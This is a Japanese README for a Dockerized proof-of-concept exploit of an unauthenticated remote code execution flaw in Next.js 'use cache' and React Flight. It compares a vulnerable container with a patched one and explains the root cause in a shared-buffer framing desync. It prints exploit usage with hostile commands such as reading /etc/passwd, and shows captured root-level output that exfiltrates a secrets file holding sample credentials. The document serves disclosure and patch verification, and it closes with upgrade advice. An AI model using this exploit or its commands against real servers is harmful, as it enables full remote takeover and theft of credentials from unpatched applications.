
GHSA-673q-mjm6-r5xr の Docker 化された概念実証:単一の未認証リクエストで Next.js の use cache / React Flight における RCE を達成し、比較用にパッチ適用済みの被害者環境を用意しています。
use cache / React Flight)型付き配列を返す
use cache関数における未認証のリモートコード実行 Next.js>=16.0.0 <16.4.1· CVSS v4 9.5 Critical · CWE-502 (信頼できないデータのデシリアライズ) 上流の根本原因: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-*< 19.2.9/19.1.10/19.0.9/19.3.1)。Next.js 16.4.1 で修正済み。
完全に動作する、Docker化されたリモート概念実証: ネットワーク攻撃者が1つの未認証HTTPリクエストを送信し、被害者のコンテナ内で root として任意のコマンドを実行します。同じソースからビルドされた修正済みの被害者は影響を受けません。
attacker container ──HTTP POST /profile (crafted body)──▶ victim container (Next.js-style
(no privileged access) `use cache` Flight boundary)
▲ │
└──────────── GET /proof ◀── server-side `id`, SECRET.txt exfil ──┘
これは、Next.js がベンダー提供している React Server Components の Flight トランスポート(react-server-dom-webpack)を、脆弱なバージョン(19.2.8)と修正済みバージョン(19.2.9)に固定して正確に再現した自己完結型のものです。根本原因の完全な分析については CASE-STUDY.md を参照してください。
make demo # builds images, starts both victims, pwns the vulnerable one,
# then shows the same exploit fail against the patched one
またはステップバイステップで:
docker compose up -d --build victim victim-patched # :3000 vulnerable, :3001 patched
docker compose run --rm poc # RCE vs :3000 -> exit 0
docker compose run --rm poc-patched # safe vs :3001 -> exit 1
docker compose run --rm evidence # root-cause reproducers, side by side
要件: Docker + Docker Compose。実行時にインターネットアクセスは不要です(ビルド時に固定された npm パッケージを取得する場合のみ必要)。
脆弱な被害者([email protected])に対して:
[+] REMOTE CODE EXECUTION CONFIRMED
command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
host : 648b3c59052e user: root pid: 1
--- command output (executed on the victim) ---
| uid=0(root) gid=0(root) groups=0(root)
|
| === exfiltrated /app/SECRET.txt ===
| DB_PASSWORD=hunter2
| API_KEY=sk-live-7f3c9a21b0e4
| FLAG{GHSA-673q-mjm6-r5xr-rce}
|
| Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux
パッチ適用済みの被害者([email protected])に対しては、同一のリクエストは無害なプロフィールカードにデコードされます。攻撃者のバイト列は displayName 文字列の内部にとどまり、プロトコル命令になることは決してありません:
[-] No code execution observed. Target is PATCHED.
decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}
被害者は、Next.js スタイルの use cache 関数を使ってユーザーの「プロフィールカード」をキャッシュします。キャッシュされた値には、同じ ArrayBuffer を参照する 2 つの型付き配列(1 つのデコード済み画像からスライスされた avatar と thumbnail — 非常によくある「一度デコードして領域をスライスする」パターン)に加えて、攻撃者が制御する文字列(リクエストからの表示名)がバンドルされています:
function getProfileCard(displayName) {
'use cache'
const decodedImage = new ArrayBuffer(8192 * 2) // one decoded image
const avatar = new Uint8Array(decodedImage, 0, 8192) // view 1
const thumbnail = new Uint8Array(decodedImage, 8192, 8192) // view 2 — SAME buffer
return { avatar, thumbnail, displayName } // displayName = attacker input
}
ReactのFlightエンコーダーが最初の大きな型付き配列をバイトReadableStreamにストリーミングすると、共有されたArrayBufferはデタッチされます(WHATWG Streamsの転送セマンティクス)。2番目のビューのbyteLengthは、そのチャンクヘッダーが元の長さをすでに宣言した後に、暗黙的に0になります。その後デコーダーは過剰読み取りを行い、ストリームのフレーミングを飲み込み、攻撃者のdisplayNameバイトが生のFlightプロトコル行として解析されることを許し、攻撃者が選んだServer Referenceを注入します。Reactはキャッシュ読み取り中にそれを呼び出します → RCE。完全な分析はCASE-STUDY.mdにあります。
.
├── README.md you are here
├── CASE-STUDY.md full root-cause + exploitation write-up
├── docker-compose.yml victim (vuln), victim-patched, poc, evidence
├── Makefile make demo / up / exploit / evidence / clean
├── victim/
│ ├── Dockerfile ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│ ├── server.js faithful Next.js `use cache` encode→store→decode pipeline
│ └── app-modules.js the server module graph the injected reference resolves against
├── poc/
│ ├── Dockerfile
│ └── exploit.js remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
├── 01-encoder-desync.cjs header declares N bytes, writes 0
├── 02-type-confusion-sink.cjs thenable whose .then is a server reference
├── 03-full-chain-rce.cjs desync → injection → command execution
├── run.sh runs all three against vuln AND patched
├── sample-run.txt captured output
└── upstream-diffs/ the real Next.js 16.4.0 → 16.4.1 patch diffs
poc クライアントはフラグ駆動型です。完全なマニュアルを参照してください:
docker compose run --rm poc -h # or: node poc/exploit.js -h
USAGE
node exploit.js [options]
OPTIONS
-t, --target <url> Base URL of the victim (default: http://localhost:3000)
-c, --cmd <command> Shell command to run on the victim
--timeout <ms> Per-request timeout in ms (default: 15000)
--dry-run Build and print the payload; do not send anything
-h, --help Show this help and exit
--version Print version and exit
例:
# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'
# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run
# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'
# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile
# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq
Next.js を 16.4.1 以上にアップグレードしてください(修正済みの React Flight ランタイムが同梱されています)。react-server-dom-webpack / -turbopack / -parcel に直接依存している場合は、19.2.9、19.1.10、19.0.9、または 19.3.1 にアップグレードしてください。影響を受ける use cache 関数に対するアプリケーションレベルの回避策はありません — アップグレードが唯一の修正方法です。
この PoC は、自身がビルドする 2 つの使い捨てコンテナのみを対象としています。自身が所有するシステム、または明示的にテストを許可されたシステムに対してのみ使用してください。